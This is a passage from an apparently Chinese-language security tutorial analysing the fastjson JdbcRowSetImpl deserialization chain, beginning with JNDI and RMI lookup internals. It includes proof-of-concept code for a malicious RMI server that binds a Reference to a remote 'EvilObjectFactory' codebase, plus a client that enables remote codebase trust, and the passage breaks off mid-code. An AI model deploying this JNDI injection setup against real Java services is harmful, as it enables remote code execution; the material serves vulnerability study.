fastjson反序列化JdbcRowSetImpl链
这里开始需要JNDI和RMI的知识了Java之RMI和JNDI
从上面的文章知道了InitialContext.lookup(String name)
是检索命名对象,先从InitialContext.lookup(String name)
开始分析,之后再从JdbcRowSetImpl
分析。
先放Poc的链接
RMI服务端
启动服务端
public class RMIServer {
public static void main(String argv[]) {
try {
Registry registry = LocateRegistry.createRegistry(1099);
//如果通过rmi无法找到org.lain.poc.jndi.EvilObjectFactory,则尝试从factoryLocation 获取
//因此,本地测试的话,如果factory正确,factoryLocation随便填写
Reference reference = new Reference("EvilObject",
"org.lain.poc.jndi.EvilObjectFactory",
"http://localhost:9999/" );
//客户端通过evil查找,获取到EvilObject
registry.bind("evil", new ReferenceWrapper(reference));
System.out.println("Ready!");
System.out.println("Waiting for connection......");
} catch (Exception e) {
System.out.println("RMIServer: " + e.getMessage());
e.printStackTrace();
}
}
}
客户端
启动客户端在lookup(String name)
打断点
public class Client {
public static void main(String[] args) throws NamingException {
/*初始化*/
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");//localhost
//env.put(Context.PROVIDER_URL, "rmi://xx.xx.xx.xx:1090");//remote
/*JDK1.8xx trustURLCodebase默认是false*/
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
Context ctx = new InitialContext(env);
System.out.println(ctx.lookup("evil"));
}
}
InitialContext
首先进入的是lookup(String name)
//InitialContext.java
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);
}
顾名思义getURLOrDefaultInitCtx
是拿到URL的Ctx,跟lookup(name)
//RegistryContext.java
public Object lookup(String var1) throws NamingException {
return this.lookup((Name)(new CompositeName(var1)));
}
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0)); //继续跟进来
} catch